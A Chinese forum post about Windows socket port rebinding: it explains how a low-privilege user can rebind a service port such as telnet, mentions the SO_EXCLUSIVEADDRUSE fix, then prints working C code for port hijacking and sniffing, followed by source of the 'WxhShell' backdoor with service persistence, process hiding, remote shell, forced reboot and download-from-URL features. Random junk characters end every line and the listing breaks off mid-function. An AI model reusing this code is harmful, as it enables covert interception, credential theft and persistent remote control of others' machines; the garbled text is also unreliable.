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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _Sult;y"u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ` W{y  
54%h)dLDy  
  saddr.sin_family = AF_INET; ..yLtqos  
5 0<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !KLY*bt6  
H~~>ut6`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -}P/<cu:  
dgW/5g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kx07Ium  
#RP7?yGM,  
  这意味着什么?意味着可以进行如下的攻击: L%fJH_$_s  
i~.9 B7hdE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XZ_vbYTj  
Jl{g"N{2u'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e'&<DE)  
Pql;5 ~/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RaAvPIJa |  
U&L?IT=x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UE K$  
@mu=7_$U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D]hwG0Chd  
ItwJL`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )k&!&  
dPyZzMes=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G$CI~0Se:  
o '!WW  
  #include c8M'/{4rH  
  #include qh/}/Sl;  
  #include pR7D3Q:^7  
  #include    u;=a=>05IR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R;F z"J  
  int main() 3<ry/{#%  
  { BYXMbx  
  WORD wVersionRequested; @ \JoICz  
  DWORD ret; ,B$m8wlI|  
  WSADATA wsaData; N.|uPq$R  
  BOOL val; ^:,I #]  
  SOCKADDR_IN saddr; (-esUOB.  
  SOCKADDR_IN scaddr; [:bYd}J  
  int err; j$}W%ibj  
  SOCKET s; dnstm@0k  
  SOCKET sc;  ~ A4_  
  int caddsize; #~:@H&f790  
  HANDLE mt; o :_'R5  
  DWORD tid;   d/&~IR  
  wVersionRequested = MAKEWORD( 2, 2 ); [qQ~\]  
  err = WSAStartup( wVersionRequested, &wsaData ); <wO8=bem  
  if ( err != 0 ) { Fq #;  
  printf("error!WSAStartup failed!\n"); c_)lTI4  
  return -1; !&@!:=X,  
  } 46M?Gfd,X  
  saddr.sin_family = AF_INET; d9yfSZ  
   z*OQ4_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qn#f:xltu  
2j*o[kAE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nk&$b  
  saddr.sin_port = htons(23); V] 0~BV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KImazS^  
  { +!)v=NY  
  printf("error!socket failed!\n"); GN@(!V#/4  
  return -1; wU)vJsOq  
  } +N>&b%  
  val = TRUE; oO~LiK>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mh*^@_h?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GsvB5i  
  { o%$'-N  
  printf("error!setsockopt failed!\n"); $(ei<cAV  
  return -1; !i*bb~  
  } ucgp=bye  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E6mwvrm8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?(P3ZTk?.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pZO`18z  
.m_-L Y-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cz]NSG5  
  { 2'5%EQW;0y  
  ret=GetLastError(); Q R<q[@)F  
  printf("error!bind failed!\n"); 4l`"P~=2<  
  return -1; .Pi8c[  
  } k\`~v$R3  
  listen(s,2); "L~qsFL  
  while(1) sQ>L3F;A`  
  { BaUcmF2Q  
  caddsize = sizeof(scaddr); S6bW?8`  
  //接受连接请求 ?Z[`sm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #JIh-h@  
  if(sc!=INVALID_SOCKET) 6N {|;R@2  
  { +-+%6O<C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UA]U_P$c  
  if(mt==NULL) y0f"UH/   
  { ^YwTO/Q|  
  printf("Thread Creat Failed!\n"); T`gR&n<D  
  break; XlHt(d0h  
  } %^ z## 7^  
  } n#lZRwhq  
  CloseHandle(mt); ^-GzWT  
  } hd)HJb-aR  
  closesocket(s); L! DK2,  
  WSACleanup(); tj=l!  
  return 0; zs@xw@  
  }   }* s%|!{H  
  DWORD WINAPI ClientThread(LPVOID lpParam) \OX;ZVb?5  
  { eJ O+MurO  
  SOCKET ss = (SOCKET)lpParam; E ) iEWc  
  SOCKET sc; LIZsDTU  
  unsigned char buf[4096]; cczV}m2)  
  SOCKADDR_IN saddr; 8C(@a[V  
  long num; p&|:,|jo5  
  DWORD val; ^B`*4  
  DWORD ret; /6PL  
  //如果是隐藏端口应用的话,可以在此处加一些判断  8%W(",nd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N|53|H  
  saddr.sin_family = AF_INET; xpjv @P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C`LHFqv  
  saddr.sin_port = htons(23); ql_GN[c/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >GV = %  
  { G34fxhh  
  printf("error!socket failed!\n"); krI@N}OU  
  return -1; *8?0vkZZ2  
  } suP/I?4'@  
  val = 100; f7_EqS=(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E+$%88  
  { PA_54a9/<  
  ret = GetLastError(); 7_*k<W7|  
  return -1; !9ytZR*  
  } 1Ff Sqd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9C_Vb39::$  
  { }2nmfm!  
  ret = GetLastError(); 8M&q  
  return -1; mv;;0xH  
  } #'&&&_Hu3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rE[:j2HF  
  { !:<(p  
  printf("error!socket connect failed!\n"); #Z)8,N  
  closesocket(sc); l k?@ =U~  
  closesocket(ss); ta'{S=^j  
  return -1; 'W2B**}  
  } ?7]UbtW[  
  while(1) /3`(Ki{ Q  
  { 8'}D/4MUr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pDloew  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ga M:/.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R@[gkj  
  num = recv(ss,buf,4096,0); Q?uHdmY*X  
  if(num>0) [W#M(`}D  
  send(sc,buf,num,0); : 3 aZ_  
  else if(num==0) Q eZg l!  
  break; S_ELV#X  
  num = recv(sc,buf,4096,0); \J0fr'(S  
  if(num>0) 9\J.AAk~/  
  send(ss,buf,num,0); <<5x"W(,  
  else if(num==0) e"@Ag:r@a  
  break; Z;qgB7-M  
  } 7i@vj7K  
  closesocket(ss); 9ER!K  
  closesocket(sc); _ a`J>~$  
  return 0 ; p}:"@6  
  } Qf:#{~/  
QRL+-)DMc  
%c"t`  
========================================================== b\9MM  
o NqIrYH'  
下边附上一个代码,,WXhSHELL ]?3-;D.eG  
:)eU)r"s4  
========================================================== B65"jy  
~( ~ y=M  
#include "stdafx.h" WPpS?  
_ \LP P_  
#include <stdio.h> cq#=Vb  
#include <string.h> &]_2tN=S$  
#include <windows.h> dum(T  
#include <winsock2.h> I #8TY/XP  
#include <winsvc.h> zS<idy F`  
#include <urlmon.h> T5gL  
RAUD8Z  
#pragma comment (lib, "Ws2_32.lib") 8[\ ~}Q6  
#pragma comment (lib, "urlmon.lib") ^|j @' @L  
*<"#1H/q  
#define MAX_USER   100 // 最大客户端连接数 GJo`9  
#define BUF_SOCK   200 // sock buffer oT}-i [=}  
#define KEY_BUFF   255 // 输入 buffer :% m56  
}xG~ a=,  
#define REBOOT     0   // 重启 p1`") $  
#define SHUTDOWN   1   // 关机 PC55A1(T  
=`W#R  
#define DEF_PORT   5000 // 监听端口 nKu)j3o`  
Vu1swq)l  
#define REG_LEN     16   // 注册表键长度 :)g}x&A^$  
#define SVC_LEN     80   // NT服务名长度 ,GTIpPj  
}*>xSb1  
// 从dll定义API 3Q\k!$zq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >9i%Yuy](  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l/6$BP U`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dc=~EG-_rM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %SKJ#b  
 57`*5X  
// wxhshell配置信息 JuM4Njz|  
struct WSCFG { 1}XESAX;0  
  int ws_port;         // 监听端口 u|EHe"V"  
  char ws_passstr[REG_LEN]; // 口令 kBr?Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no vL ]z3  
  char ws_regname[REG_LEN]; // 注册表键名 e4<[|B!O  
  char ws_svcname[REG_LEN]; // 服务名 o)r%4YOL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x4^* YZc$,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S>nf]J`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B +<i=w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gWLhO|y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^w6~?'}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 + )lkHv$R  
DNmP>~  
}; ,/Usyb,`  
m!LJK`gA  
// default Wxhshell configuration Zv^n  
struct WSCFG wscfg={DEF_PORT, RQQ\y`h`  
    "xuhuanlingzhe", hreG5g9{  
    1, OkfnxknZ|  
    "Wxhshell", qku}cWD9/_  
    "Wxhshell", {T'M4y=)i  
            "WxhShell Service", _<m yM2z  
    "Wrsky Windows CmdShell Service", yDmx)^En  
    "Please Input Your Password: ", ''3b[<  
  1, dk[MT'DV  
  "http://www.wrsky.com/wxhshell.exe", aYrbB#  
  "Wxhshell.exe" "R % 3v.Z  
    }; o%_Hmd;_'  
]!'9Y}9a  
// 消息定义模块 7j~}M(s"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &{z RuF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (>M? iB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gq0Q}[53  
char *msg_ws_ext="\n\rExit."; CEl9/"0s6  
char *msg_ws_end="\n\rQuit."; _4-UM2o;  
char *msg_ws_boot="\n\rReboot..."; E;-*LT&{  
char *msg_ws_poff="\n\rShutdown..."; FQqk+P!  
char *msg_ws_down="\n\rSave to "; V PaW-o  
rPXy(d1<`S  
char *msg_ws_err="\n\rErr!"; ;JV(!8[  
char *msg_ws_ok="\n\rOK!"; !v68`l15  
(y!V0iy]  
char ExeFile[MAX_PATH]; y|2y! &o,!  
int nUser = 0; MCO`\"`l  
HANDLE handles[MAX_USER]; ~Sc{\ZJl  
int OsIsNt; ]aI   
?CSv;:  
SERVICE_STATUS       serviceStatus; zn2Qp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wq = Ef  
V8}jFib  
// 函数声明 "?r_A*U  
int Install(void); \?~cJMN  
int Uninstall(void); n1PV/ Z  
int DownloadFile(char *sURL, SOCKET wsh); NGL,j\(~7  
int Boot(int flag); @*^%^ P  
void HideProc(void); hzV= 7  
int GetOsVer(void); ?my2dd,|  
int Wxhshell(SOCKET wsl); )=5 ,S~IT  
void TalkWithClient(void *cs); )m<CmYr2  
int CmdShell(SOCKET sock); =)IV^6~b  
int StartFromService(void); . l-eJ  
int StartWxhshell(LPSTR lpCmdLine); b<\aJb{2  
n?}7vz;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :e!3-#H  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  @s7wKk  
j:P(,M[  
// 数据结构和表定义 @G?R (  
SERVICE_TABLE_ENTRY DispatchTable[] = DM=`hyf(v  
{ (Q[(]dfc  
{wscfg.ws_svcname, NTServiceMain}, Cd'`rs}3  
{NULL, NULL} ,}a'h4C  
}; &b9bb{y_$K  
5h@5.-}  
// 自我安装 _qvzZ6  
int Install(void) UJ7{FN=@t  
{ cllnYvr3  
  char svExeFile[MAX_PATH]; |}D5q| d@n  
  HKEY key; v]c+|nRs  
  strcpy(svExeFile,ExeFile); 6)[gF 1  
u}eLf'^ZCe  
// 如果是win9x系统,修改注册表设为自启动 A# Ne07d  
if(!OsIsNt) { ?4H>1Wkb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K %.>o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XkEE55#>|  
  RegCloseKey(key); /y[zOT6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , ePl>m:Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iCNJ%AZ H  
  RegCloseKey(key); +~\1g^h  
  return 0; /33m6+  
    } }II)<g'  
  } SmCtwcB1  
} l9vJ]   
else { V(P 1{g  
s7"5NU-  
// 如果是NT以上系统,安装为系统服务 s}g3*_"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tf4clzSTa  
if (schSCManager!=0) o[B"J96b  
{ O~4Q:#^c  
  SC_HANDLE schService = CreateService @YHt[>*S  
  ( BNq6dz$J  
  schSCManager, >TG#  
  wscfg.ws_svcname, C8AR ^F W  
  wscfg.ws_svcdisp, T07 AH  
  SERVICE_ALL_ACCESS, *^i"q\n5(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1HBWOV7z.?  
  SERVICE_AUTO_START, bEB9J- Q  
  SERVICE_ERROR_NORMAL, W-<`Vo'  
  svExeFile, (o518fmR  
  NULL, RW|Xh8.O  
  NULL, rbc7CPq_^  
  NULL, ;uN&yj<}a  
  NULL, Zy=DY  
  NULL mu$rG3M  
  ); fR#W#n#m  
  if (schService!=0) 6wH:jd9,  
  { v(~EO(n.  
  CloseServiceHandle(schService); rp,Us#>6  
  CloseServiceHandle(schSCManager); NuR3]Ja\0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5#z\E??  
  strcat(svExeFile,wscfg.ws_svcname); XVzsqi*Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CG] /.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7=a=@D[  
  RegCloseKey(key); g>;"Fymc'  
  return 0; Iwe  
    } ?yKG\tPhM  
  } `2hLs _  
  CloseServiceHandle(schSCManager); ;!,I1{`  
} .Z(Q7j^  
} (N?nOOQ  
*X8Pa ;x  
return 1; 52.%f+Oa  
} 349BQ5ND  
9yWSlbPr]  
// 自我卸载 C@!bd+'  
int Uninstall(void) m*vz   
{ V<Co!2S  
  HKEY key; Q=t_m(:0  
oQK,#>rv  
if(!OsIsNt) { (je`sV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8u7QF4 Id  
  RegDeleteValue(key,wscfg.ws_regname); 9gac7(2`)  
  RegCloseKey(key); He1~27+99  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3hfv^H  
  RegDeleteValue(key,wscfg.ws_regname); 5,9cD`WR^  
  RegCloseKey(key); hCob^o  
  return 0; cK\'D  
  } %|B$y;q^3  
} +zZ]Txb(  
} 5#mHWBGd7  
else { &Y1RPO41J  
t@!A1Vr@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WXd#`f%  
if (schSCManager!=0) ;jh.\a_\  
{ H^<?h6T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  Y}e3:\  
  if (schService!=0) dpcU`$kt  
  {  GjyTM  
  if(DeleteService(schService)!=0) { 't+'rG6x  
  CloseServiceHandle(schService); j+[oZfH  
  CloseServiceHandle(schSCManager); |}Mthj9n  
  return 0; ^+x,211f  
  } ]-jaIvM  
  CloseServiceHandle(schService); 5? *Iaw  
  } 4@=[r Zb9  
  CloseServiceHandle(schSCManager); P5__[aTD  
} "r HPcp"m  
} $ZlzS`XF7  
th}&|Y)T2  
return 1; 8=u88?Bh  
} 2/ejU,S  
|y&vMx~t  
// 从指定url下载文件 y\Wp} }  
int DownloadFile(char *sURL, SOCKET wsh) B$MHn?  
{ WF-^pfRq~  
  HRESULT hr; (5kL6d2  
char seps[]= "/"; `$ pJ2S  
char *token; kW& zkE{  
char *file; ~!6 I.u  
char myURL[MAX_PATH]; r{wf;5d(  
char myFILE[MAX_PATH]; BC R]K  
qdo_YPG  
strcpy(myURL,sURL); !'Ww%ZL\   
  token=strtok(myURL,seps); zS '{F>w  
  while(token!=NULL) ! q+>'Mt  
  { ]CX^!n  
    file=token; -qG7,t  
  token=strtok(NULL,seps); 1;HL=F  
  } 2]}e4@{  
Ct]? /  
GetCurrentDirectory(MAX_PATH,myFILE); /w2NO9Q  
strcat(myFILE, "\\"); F41gMg  
strcat(myFILE, file); 4%7Oaf>9  
  send(wsh,myFILE,strlen(myFILE),0); 8# IEE|1  
send(wsh,"...",3,0); m5 l&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @B9#Hrc  
  if(hr==S_OK) w:2yFC  
return 0; ]W7&ZpF  
else Si68_]:^  
return 1; n/^QPR$>.  
}[OEtd{  
} 40$9./fe)  
06I(01M1   
// 系统电源模块 6>b'g ~I  
int Boot(int flag) uzL|yxt  
{ zLg_0r*h1  
  HANDLE hToken; pIY3ft\  
  TOKEN_PRIVILEGES tkp; ceAefKdb  
!J(6E:,b#  
  if(OsIsNt) { `[~LMV&2U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !'-./LD")  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^+Njz{rpG  
    tkp.PrivilegeCount = 1; ]0g1P-&,U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w[J.?v&^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X [;n149o  
if(flag==REBOOT) { ZK8DziO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :fQN_*B4@4  
  return 0; Fl++rUT  
} p<&dy^mS  
else { N|w;wF!3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rk}=SB-  
  return 0; `tm(3pJ  
} Y^gIvX  
  } ]#dZLm_  
  else { q,]57s  
if(flag==REBOOT) { MT<3OKo?:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0p=  
  return 0; X:W}S/  
} MJ.Kor  
else { Yy_mX}\x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :s|xa u=  
  return 0; 6+Y@dJnPT  
} EI@ep~  
} kv`5"pa7M  
sVP2$?  
return 1; CN7qqd  
} S.^x)5/,,T  
uU1q?|4  
// win9x进程隐藏模块 BF U#FE)s  
void HideProc(void) Rr>""  
{ _? u} Jy_  
`;&=m, W'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =%wBC;  
  if ( hKernel != NULL ) cX5tx]  
  { E /V`NqC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  #uuNH(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #}xPOz7:  
    FreeLibrary(hKernel); rH[Eh8j,  
  } A{Q~@1  
QM'>)!8  
return; 1 w9Aoc  
} i(kr#XsU  
42 Sk`  
// 获取操作系统版本 LdyE*u_  
int GetOsVer(void) =[o/D0-Kn  
{ 0*o=JM]  
  OSVERSIONINFO winfo; _x?S0R1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \>4x7mF!  
  GetVersionEx(&winfo); WI54xu1M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *JVJKqed  
  return 1; 6 i]B8Ziq{  
  else #^q@ra  
  return 0; b!g8NG  
} I)4NCjcCw  
[Kd"M[1[ <  
// 客户端句柄模块 Zy > W2(<  
int Wxhshell(SOCKET wsl) a4N8zDS  
{ n:YA4t7S  
  SOCKET wsh; DJHE6XJ   
  struct sockaddr_in client; &r V  
  DWORD myID; C-ipxL"r  
HO;,Ya^l  
  while(nUser<MAX_USER) }pv<<7}|  
{ U KdCG.E9^  
  int nSize=sizeof(client); jI807g+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vC5y]1QDd  
  if(wsh==INVALID_SOCKET) return 1; eh$T 3_#q  
q.PXO3T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L!kbDbqn  
if(handles[nUser]==0) Ib$?[  
  closesocket(wsh); ;EfREfk  
else 3(La)|k  
  nUser++; _95`w9  
  } >HQ<KFA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y?{YQ)fj  
PWs=0.Wj  
  return 0; R~(_m#6`:  
} >]WQ1E[=  
5K?%Eo72!=  
// 关闭 socket +)TOcxF%  
void CloseIt(SOCKET wsh) yy|F6Pq3`  
{ AN-;*n<'  
closesocket(wsh); @KC;"u'C  
nUser--; #[Vk#BIiv8  
ExitThread(0); pJ]i)$M  
} 3UQ~U 8  
Fv9n>%W&  
// 客户端请求句柄 xGymQ|y84  
void TalkWithClient(void *cs) G7H'OB &  
{ '} LAZQ"  
!Ql&Ls  
  SOCKET wsh=(SOCKET)cs; z c, Q  
  char pwd[SVC_LEN]; lDhuL;9e  
  char cmd[KEY_BUFF]; }K\m.+%=d  
char chr[1]; Iw) 'Yyg  
int i,j; qluaop  
HCKj8-*  
  while (nUser < MAX_USER) { Oe}6jcb6&  
<3c|S_|L*m  
if(wscfg.ws_passstr) { k/V:QdD Sb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1\+d 5Q0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S`GM#(t@_  
  //ZeroMemory(pwd,KEY_BUFF); Md,KW#  
      i=0; *>p#/'_E  
  while(i<SVC_LEN) { # :3~I  
Ie8jBf -  
  // 设置超时 fQOh%i9n5  
  fd_set FdRead; :i:M7}r  
  struct timeval TimeOut; `@|Kx\y4=j  
  FD_ZERO(&FdRead); ?AJE*=b  
  FD_SET(wsh,&FdRead); 0^rDf L  
  TimeOut.tv_sec=8; QAh6!<.;@  
  TimeOut.tv_usec=0; j #)K/`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6@o *"4~Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h ?%]uFJC  
xiG_l-2l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lVQy {`Ns  
  pwd=chr[0]; }Ii5[nRN  
  if(chr[0]==0xd || chr[0]==0xa) { 3F6=/  
  pwd=0; C!}9[X!7@:  
  break; u|]`gsFZ\  
  } %t\ ~3pw=  
  i++; }H<87zH  
    } |v%xOl  
)$e_CJ}9e  
  // 如果是非法用户,关闭 socket YX:[],FP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <v =T31aS  
} gT~Yn~~b  
APBe 76'3)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zm!5X9^!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A[O'e  
oaJnLd90W  
while(1) { c$HZvv  
Td6"o&0A!  
  ZeroMemory(cmd,KEY_BUFF); Fz4g:8qdA  
9n#Em  
      // 自动支持客户端 telnet标准   ![*7HE>},  
  j=0; J#^oUq  
  while(j<KEY_BUFF) { i+HHOT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x<%V&<z1g  
  cmd[j]=chr[0]; Lk~aM bw#  
  if(chr[0]==0xa || chr[0]==0xd) { _Q1[t9P"  
  cmd[j]=0; MKN],l N  
  break; 9xm'0 '  
  } d2e4=/ A%  
  j++; Zr.6J*&!  
    } `upxM0gc  
<..|:0Q&~  
  // 下载文件 _<i*{;kR6  
  if(strstr(cmd,"http://")) { # U j~F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iq[Z5k(K  
  if(DownloadFile(cmd,wsh)) 1]<w ZV}.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `vFYe N;  
  else gP?uLnzvi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )W& $FU4JK  
  }  1ZF>e`t8  
  else { \.%GgTF  
Ce0YO~I  
    switch(cmd[0]) { *U=%W4?W  
  D,H v(6({  
  // 帮助 qOk=:1`3  
  case '?': { 3'zm)SXJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9AsK=/Buf  
    break; C`0;  
  } M@/Hd0$  
  // 安装 (;@\gRL  
  case 'i': { LiF(#OuZ  
    if(Install()) G*;6cV19  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cg! ]x o  
    else TE.O@:7Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZOK,P  
    break; Dqw?3 KB  
    } Z/S7ei@56  
  // 卸载 VTt{ 0 ~  
  case 'r': { QP {V  
    if(Uninstall()) +=/FKzT<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WI$MT6  
    else , 9C~%c0Pw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C<.Ny,U  
    break; 3bi,9 >%  
    } ?Gq|OT 8  
  // 显示 wxhshell 所在路径 nd[{DF?)/  
  case 'p': { NdW2OUxw"  
    char svExeFile[MAX_PATH]; D^5bzZk N  
    strcpy(svExeFile,"\n\r"); 6HW8mXQh<h  
      strcat(svExeFile,ExeFile); 4/Yk;X[jk  
        send(wsh,svExeFile,strlen(svExeFile),0); 5fdB<& 9  
    break; XOe8(cXa9  
    } C;6Nu W  
  // 重启 yLI)bn!"  
  case 'b': { I,@f*o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :6*FnKD  
    if(Boot(REBOOT)) *)jhhw=34  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /b)V=mcR  
    else { c9eLNVM  
    closesocket(wsh); kq SpZoV0'  
    ExitThread(0); Nn_n@K  
    } 4{s3S2f =  
    break; s]"NqwIPK  
    } -Pr1 r  
  // 关机 MyyNYZ  
  case 'd': { X. =%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ae0jfTv  
